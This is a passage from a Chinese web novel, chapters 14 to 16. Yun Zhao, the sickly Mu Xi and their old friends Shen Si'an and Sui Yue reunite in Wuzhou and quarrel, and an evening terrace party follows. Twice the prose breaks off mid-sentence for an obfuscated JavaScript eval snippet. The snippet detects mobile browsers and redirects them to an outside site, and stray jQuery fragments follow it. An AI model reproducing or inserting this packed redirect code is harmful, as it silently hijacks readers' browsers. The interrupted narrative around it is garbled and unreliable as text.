大概是身体本就不舒服,吐完过后慕熙依然很难受,小脸苍白如纸。他也没力气骂云昭了,冷脸命令她过来当人形靠枕。
舒舒服服靠着他,然后自己捂住唇鼻,允许她继续吃饭。
当然,云昭也不至于虐待病号。
飞机升起,两小时后落地邬州。
随行的工作人员把他们送出接机口,说是已经有人来接机了,航站楼外,行李车在面前滑过,阵阵微风刮过,沈斯安的身影出现在眼前。
蓝天白云下,他还是那温润样子,笑得美颜弯弯,身旁还站着一个女孩。
女孩高个子黑长直,皮肤雪白眉眼惊艳,穿了一套简单素净的衬衫长裙,只是随意立在那里,就让人挪不开眼。
云昭被面前两个俊男靓女美得说不出话。
沈斯安先走过来,他伸手就摸摸云昭脑袋,“昭昭,想我没呢?”
慕熙一记眼刀扫过来。
沈斯安笑得更开心了,又去摸慕熙的脑袋,“哎呀阿熙,怎么又不开心啦?”
他俩碰上就是一场战争,眼看着在飞机上才被哄好的人又要发作,云昭正想去劝,对面那女孩突然走过来,不由分说一把抱住云昭。
她身上有着和沈斯安相同的红茶、白麝香气,整个人高挑纤细身材极好,声音清清冷冷,道:“昭昭,好久不见。”
云昭被她圈在怀里,愣愣睁大眼睛。
这……又是哪位啊?
15. chapter 15
“我叫隋玥,我爸妈离婚早,以前一直在我爸那边生活,前几年回来过了一次暑假,那时候我和你一起玩过一阵子,时间不长,你记不住也很正常。”
隋玥大大方方介绍自己,对云昭的一脸茫然也毫不介意。
云昭仔细盯着这张脸,似乎有些印象,但也确实记不起来,索性不去细想了,笑说:“那这次我一定认真记住,小玥。”
隋玥也淡淡一笑,“好。”
另一边,沈斯安已经快被慕熙打死了。慕熙本就气他任性妄为,他还总是故意挑衅,如果他俩还是小时候,现在沈斯安早被摁在地上揍得爬不起来了。
不过沈斯安心情却是出奇的好,由着慕熙骂也不生气,只是呵呵的笑:“阿熙,在小玥面前给我留点面子。荆珉说你昨天很难受呢,轮椅坐着不舒服吧?来,哥哥抱你回去。”
慕熙指节发白:“你是真想死,对吗?”
“哎哎,哥哥我一片好意,别犯倔了。”
后面跟来的隋玥扬手就是清脆响亮一巴掌甩在沈斯安背上,声音冰冷:“走不走?”
沈斯安被打得抖了一下,撇撇嘴,对旁边呆傻的云昭眨眨眼,老实去开车了。
天朗气清,航站楼外的大马路上,隋玥走在最前面,她像女王一样力大无穷又有魄力十足,一人拿了云昭和慕熙的全部行李,沈斯安两手插衣兜悠悠跟在她后面,稍靠近一点就要挨踹。
云昭推着慕熙跟在最后,目瞪口呆。
她好像莫名其妙闯进了一个神奇的团队,四个人里有两个都是冰山炮仗,还有一个疑似温柔帅气版的陈孔雀,最后是极端健忘的她。
连一个正常人都凑不出来。
汽车音响里播放着舒缓的古典乐,驶过沂水镇青灰色路面,一路沿着浣柳河畔开。河边翠柳摇曳,微风轻抚,春光明媚。
路过一家卖火山石烤肠的店铺时,沈斯安停了车,没一会儿,买了一根烤肠回来。
他好像是故意馋其他三人,把车停在路边斯斯文文的吃烤肠,黑胡椒伴着甜腻的肉香在车里弥漫,云昭又饿了,慕熙又吐了。
副驾的隋玥抢过沈斯安吃到一半的烤肠利落抛扔进路边垃圾桶,擦擦手回头问云昭:“中午去哪儿?”
云昭想了想,转头看旁边的慕熙。
回到邬州,他的精神状态似乎好了一些,但到底是个禁不住折腾的病人,面色仍旧不好,薄唇几乎没有血色。
云昭说:“慕先生身体不舒服,我想先送他回酒店休息。”
隋玥:“好。回邬州宾馆。”
云昭好奇:“小玥,你也住邬州宾馆吗?”
隋玥点头:“我妈在里面当大堂领班,我住都是内部价,很便宜。”
云昭笑笑:“那太好了。”
邬州宾馆房间还是走之前的样子,没有慕熙允许服务人员不会进到他房间,他依然住那间亲子套房,云昭把他扶到沙发上休息,埋头收拾行李,沈斯安和隋玥两个人则非常自来熟的参观。
沈斯安指着那间儿童房说:“这间虽然装修幼稚一点,空间小一点,但是也勉强能用,适合我和小玥住。”
慕熙靠坐在沙发上,皱眉看过来。
他没力气说话,一旁的隋玥先开口了:“沈斯安,明天我去派出所帮你找个牢坐。”
云昭没忍住:“噗嗤。”
沈斯安又委屈冲云昭眨眨眼。
云昭安慰他,“好了好了,你去上面那间豪华总统套吧,好像是3788。这是我的房间。”
“你的房间?”沈斯安挑眉,看了慕熙一眼。
云昭点头:“嗯,我的房间。”
一旁的隋玥看过来,她面露不悦,但也没说什么。
中午,沈斯安和隋玥两人出去后慕熙就睡了过去,饭点时他们又叫云昭一起吃饭,云昭说慕熙不让她离开超过十分钟,她只能点酒店客房服务。
沈斯安听得拍手叫好,隋玥却眉头深皱,脸色都发青了。
饭后云昭趁着慕熙睡觉,独自整理自己的物品,她要在这里住大半个月,洗漱用品和衣物都要摆放出来。
宽敞豪华的木质壁橱前,云昭看见慕熙的衣物只占了一半空间,剩下一半,他即使把衣服折叠起来也没有去占用。
她走出衣帽间,见旁侧洗漱间也一样。
处处都被他预留了一半。
云昭光脚踩在温润的地板上,仔仔细细观察起来。
慕熙真是一个很奇怪的人。
他家庭富裕,有司机有助理,有自己的事业,还是个病人,工作和治病这两件事应当是占据了他大部分时间,可他好像依然留出了生活的时间。
他的衣服质地精良款式简约,浅色和纯黑色居多,外套衬衣都挂起来了,裤子叠放在最下面,叠得整整齐齐但不算专业,看上去是他自己叠的。
他的牙刷、杯子、须后水……并不是同一品牌套装,似乎是逐一挑选的,使用完后也摆放的很整齐,每个物品都乖乖躺在洗漱盒对应的位置,当然,洗漱盒也留出了一半的空间。
洗漱盒左侧角落里,立着一只卡通方形小机器,牙膏竖直卡在里面,看上去是辅助挤牙膏的机器,牙膏是超市里最普通、好用的牙膏。
这和电视里的霸道总裁不太一样。
——倒像是,年轻男孩谈了恋爱后的模样。
云昭把自己的洗漱用品慢慢摆上去,她从包里依次拿出自己的洗面奶、防晒乳、护肤品、牙刷……
最后,她瞧见自己的洗漱袋夹层里,有一只一模一样的卡通挤牙膏小机器。
恍惚中,云昭记起来这东西她好像也用了很久了,是她出发前从东城租的那套房子里顺手带出的。
丑丑的、萌萌的,大眼睛小青蛙挤牙膏机器,她和慕熙一人一个。
云昭站在玻璃门后遥遥望去。
主卧的门大开着,开阔的白色床铺上,单薄瘦削的人影侧卧蜷缩。在外时他总是清冷高傲,是个目空一切的上位者,睡着后却只像个孤独的孩子一样。
他睡觉,她望着他。
这一切,似乎陌生又熟悉。
-
傍晚五点,日落时分。
一下午时间云昭在客厅里看完了一部英文电影,她把
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17126766|196111||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
里面的陌生单词都抄下来记在笔记本上,默默背了几十个。
房间里传来响动,云昭走进去,看见慕熙已经坐起来了,他面色惨淡靠在床头,捧着一大把药往嘴里灌。
云昭进来,他手指一松。
白色药瓶滚落在地毯上,瓶身写着止疼药。
“慕先生,又难受了么?”云昭收起那瓶止疼药,皱起眉头。
慕熙刚醒来,整个人蔫蔫的,柔软的发丝垂在眼前,一双清眸雾蒙蒙,低声说:“肚子疼。”
他的手指无力搭在上腹部,苍白分明的指节隐隐透红,像是自己拿药时磕到了。
云昭纠正他:“那是胃。你又胃疼了,是不是因为昨晚喝多了?”
慕熙抿唇不语。
云昭伸手去摸他的额头,还好,没有发烧。
“云小姐。”慕熙虚睁起眼睛,慢慢抬头朝她看来。
“怎么了?”
慕熙脖颈处的皮肤也有些泛红,他似乎疼得更厉害了,温声吩咐:“你像上次那样,帮我揉揉吧。”
云昭:“……”
她收回手,看着眼前异常温顺的人。
这会儿哪怕她是个傻子也能看出来了,这小子好像就是打算占她便宜吧?
慕熙估计是个从小就不怎么撒谎的好孩子,直来直往惯了,演技也不是很行。
他对他自己都不够了解,他真正难受时应该是在飞机上那样,疼到浑身发抖一个字都说不出,绝不会像现在这样,尽管看上去虚弱但是口齿清晰不带喘。
云昭记性这么烂的人多看几次都能分辨了。
她毫不犹豫:“不行,我们这样有点太暧昧了。”
慕熙一听,眉头立刻皱起,“什么暧昧?这怎么了?出发前你们旅行社说了会保障我安全和舒适的旅行体验,我可是支付了一百倍……”
“好好好别说了!”云昭打了那么多工,最怕甲方说这样的话,“我给你揉。”
她也不记得上次怎么给他揉的了,备忘录上只记着他疼得厉害,她给他揉揉肚子就帮他缓解了疼痛。
估摸着就是像撸猫摸狗那样。
云昭的手刚碰到慕熙的小腹,他顺势就朝她靠过来了,很自然的又把她当成人形靠枕。
云昭:“……”
算了,说他他又要闹。
安静的房间里,两个人谁也没说话,慕熙双目轻阖呼吸平静,云昭的手指在他柔软的小腹上轻轻按揉,垂头就能看见他的睫毛和鼻梁。
他神色平静,但很开心。
上午她说这是她的房间时,他坐在沙发上也是这样的表情。
没过多久,沈斯安和隋玥两个人又发来消息,说是来找他们玩。云昭不想吵醒慕熙,发消息让他们直接过来。
沈斯安借了前台的卡刷开门,进来就看见两人依偎在床头。
这边沈斯安还没来得及开口,跟进来的隋玥脸色瞬间阴成了墨水。
她对此好像积怨已久了,从中午得知云昭和慕熙住一个房间她就非常不爽,这时积攒已久的愤怒彻底爆发了:
“你们在干什么!”
16. chapter 16
隋玥这一嗓子吼下去,慕熙猛地睁开眼睛。
这种突然惊吓是心脏病大忌,他的心脏刹时缩紧,心跳在几秒内攀升至顶峰,无法呼吸。
隋玥的怒火再也憋不住,直接快步朝他们冲来,慕熙迅速起身一把将云昭护在身后,他脸色瞬间惨白,胳膊死死挡住云昭,额头青筋都立刻冒了出来。
眼看隋玥的手高高扬起,后面一道人影闪过来一把抱住她的腰拖开,铆足力气的一巴掌好险落了空。
“沈斯安你找死!”
隋玥被沈斯安禁锢在怀里,她不顾一切挣扎,沈斯安硬抗着她的打骂,生生把她拉扯到旁边,立刻放开她去找慕熙。
慕熙的嘴唇早已发紫,他的呼吸已经暂停了,身体僵硬到颤抖,只凭本能牢牢把云昭护在身后,力气大到沈斯安都拉不开他。
云昭根本不知道发生了什么,拍拍慕熙的肩膀,嘴唇哆嗦:“放开我吧,慕先生,我没事……”
沈斯安熟练从慕熙衣袋里摸出一只微型药瓶,倒出一粒药丸,用力翘开他的嘴给他喂了进去。
吃下药片后慕熙很快就卸了力气,浑身瘫软下去,沈斯安眼疾手快扶住他。
“云昭!”隋玥看准时机冲过来,一把拉住云昭的手直接她拖拽到自己身后,怒道:“你离这个负心汉远点!”
云昭脑子嗡嗡的,不明白什么负心汉什么乱七八糟的。小玥声音冷得可怕,拽她拽得紧,但并没有弄疼她。一回头,看见慕熙虚靠在沈斯安怀里,他努力睁着眼,苍白的手指微微发颤,试图拉住她。
“昭昭……”慕熙嗓音低哑。
隋玥那双凤眼死死盯着他,寸步不让。
云昭腿都要软了。
她不知道发生了什么,但感觉这两人至少有一个被鬼上身了。
场面正混乱着,这时,慕熙身后的沈斯安悠悠笑了起来:
“天呐,真是感人肺腑。”
慕熙还脸色煞白靠在他怀里,但他已经恢复了一贯的不着调,看戏看得十分满意,笑得眉眼弯弯,一对浅浅的虎牙都露了出来。
“来吧昭昭,帮我照看阿熙,他刚发病,你多哄哄他。”沈斯安迎着隋玥吃人的目光把慕熙交给云昭,自己起身搭上了隋玥的肩膀,笑吟吟说:“好了女王大人,咱们出去谈谈吧?”
隋玥还想挣扎,但与他对视上,还是妥协了,她回头看云昭几眼,不情不愿走了。
“嗵”,房门关闭。
房间重新回到平静。
那两个人进来闹了一通,闹得慕熙丢半条小命,又跟没事人似的走了。像演戏一样。
从头到尾只有云昭都是懵的。
她咽了咽口水,小心回到慕熙身边。
这时候不必多说她也知道他难受了,和刚才哄骗她给他按揉不一样。
慕熙没说话,云昭倚着床头,他靠着她的肩膀,耷拉脑袋侧头贴住她的脖颈。
翘挺的鼻尖轻轻擦过了她的锁骨,发丝上好闻的香气顺着空气飘进她的鼻腔。
慕熙很困,但他不想睡觉。
细长的手指握住了云昭的手,触感温凉,细腻的指腹缓缓摩挲她的指尖,像在把玩一只心爱的玩具。
两个人都沉默。
等了好久,云昭先忍不住了,小心翼翼开口问:“慕先生,要躺下吗?”
慕熙摇头。
云昭:“那我给你找个靠枕来?”
慕熙还是摇头。
云昭:“我还是去给你拿个颈枕吧。”
慕熙受不了了,皱眉道:“你别动。我只想靠着你,其他都不需要。别折腾我了,沈斯安不是说让你哄哄我吗?”
云昭哄他:“好好好,公主殿下别生气,我不动。”
天地良心,她明明是担心他这样靠着不舒服,毕竟她细胳膊细腿儿的,一身骨头硌得慌。
心脏病发作需要很长时间来恢复,索性慕熙这次发作不算严重,落地窗外天色慢慢变黑时,他终于恢复一点精神,靠在云昭怀里,睁眼看着玻璃窗外静谧的夜景。
邬州宾馆最上面几层是空中酒廊,一层是花园和大露台,酒店把露台搭建得十分温馨,灯光柔和温暖,最左侧还有一片日式炭烧区域,配有酒品出售,常有客人们去小酌几杯。
窗帘没关,从他们这间亲子套房正好可以看见露台,今天似乎清场了,一个客人也没有。
没过多久,慕熙的电话响了起来。
是沈斯安打来的,兴奋的邀请他们去露台玩,他说他今天包场了,酒店还帮他们准备了很多不错的食材,还请了一位厨师过来。
慕熙想也没想:“滚。”
电话挂断,几分钟后就看见对面露台上去了一个高挑,穿风衣的身影,举着手机热情的冲他们招手。
慕熙脸色铁青:“把窗帘关上!”
云昭:“哦……”
她按按钮的动作怪怪的,有点舍不得用力,怀里的慕熙抬眼朝她看来,从她脸上捕捉到一丝怪异的情绪。
他皱眉:“你想去?”
下午的混乱还在云昭脑子里盘旋,她是个好奇心强的人,现在满肚子装着好奇呢,但是跟慕熙这闷葫芦也问不出什么。
云昭诚实点头,“想。”
慕熙闷声不说话。
云昭知道他只想休息,也知道他绝不同意她单独出去。或许是发病过后人会更加脆弱,下午她出去接了三分钟的电话,回来过后慕熙都闹脾气了,黑着脸说要跟陈孔雀告状。
云昭觉得他那分离焦虑已经到需要去电两下缓解的地步了。
好几次云昭都怀疑自己其实是在坐牢。
但是转念一想坐牢确实没那么高的工资。
云昭无奈,“没事的,慕先生,我也不是一定要……”
她还没说完,慕熙开口了:“你想去就去吧。”
云昭一喜:“我自己去?”
慕熙眉头皱起。
他还没开口,云昭立马替他说了:“一起去一起去,公主殿下,我可不放心你一个人在房间呢,委屈你陪我去凑热闹。”
慕熙哼一声。
露台前有一截短短的台阶,为了方便慕熙的轮椅通过,工作人员已经提前铺了板子和地毯。轮子轻轻碾过去,装点漂亮的大露台呈现在眼前。
这里比云昭预想的还要宽敞,弧形外面嵌着一圈明净的玻璃,浣柳河畔
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17126767|196111||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
静谧的夜景就在咫尺外,暖黄的灯光洒了一地。
沈斯安和隋玥已经到了,吧台上摆满了酒,沈斯安正在和角落里的调酒师说话,隋玥则抱臂站在中间,看到他们来,她的视线直接掠过慕熙看向了云昭。
“昭昭。”隋玥径直朝她走来,牵起她的手不由分说给她拉到长条桌后。
云昭回头看慕熙,他没什么表情。
隋玥让云昭和自己坐一侧,慕熙和沈斯安两个人坐在对面,幽幽夜色下,终于没有下午那会儿剑拔弩张的气氛。
“邬州还是这么漂亮啊,我在东城可从没见过这么多星星。”沈斯安笑着开了一瓶酒,“来吧各位,庆祝咱们时隔五年——”
他话没说完,隋玥忽然抬手打断他。
云昭一愣,紧张看向她。
隋玥的目光钉在了慕熙身上,她脸色一变,两条长腿直接架到桌上,仰起下巴随口道说:“对不起。”
“……”云昭没想到还能这样道歉。
下一秒又是手忙脚乱,云昭惊恐的跟隋玥说好话,小心哄着她把腿放下来,沈斯安给慕熙倒果汁,拍拍他的肩膀赔笑夸他最近身体有进步……
不过两个当事人倒是很淡定。
受害者慕熙对这一切都仿若未闻,就着吸管安静喝一杯橙汁,视线落在水杯里。
气氛还算不错,沈斯安开始说起以前来邬州玩的事。
他和慕熙都来过邬州,小玥又是邬州人,他们三人以前认识,话题基本围绕着五年前的经历展开。
沈斯安本就开朗,和小玥待在一起更是话匣子大开。他说到五年前刚来邬州就跟小玥吵了一架,他的车开进了景区,小玥上来劝阻,但他那时刚拿驾照技术很烂不会倒车,折腾半晌没倒出去,被她当作故意找茬,于是她直接动手开车门把他拽了下来。
隋玥冷声说明明是他故意装蒜,沈斯安喊冤求助慕熙,慕熙只是淡淡道:“他的驾照好像是买的。”
沈斯安震惊:“这话怎么能胡说,我从不违法乱纪,你哥哥我拿到驾照第一天就开车上路,那都是为了谁啊!”
慕熙:“不知道。”
沈斯安:“哇你这小没良心的!”
他们三人吵吵闹闹,小露台也渐渐活跃起来,云昭注意到慕熙的脸上都罕见放松了一些,他那双漂亮的眼睛轻轻眨,偶尔朝她看来。
云昭避开他的视线,低头吃厨师送来的烤串。
终于,酒过三巡,沈斯安和隋玥两个人都喝得醉醺醺,云昭中途和他们聊天也被拉着喝了几瓶气泡酒。
她很少喝酒,酒量也低的可怜,几口下肚脑袋就开始膨胀。
慕熙作为唯一一个没有喝酒、脑袋清明的,坐在她正对面,看她身形摇晃。
他轻轻推动轮椅去到她身旁。
云昭趴在桌上,见到他来,突然抓住他一只手冲他笑。
慕熙愣住。
酒精的催动下,云昭胆子大了不少。
她一时忘记了那一百倍提成,转头看看身旁两人,又看看慕熙,笑了笑,最后悄悄凑到他耳边,问出那好奇已久的问题:
“慕先生,你五年前的爱人,是小玥,还是我呢?”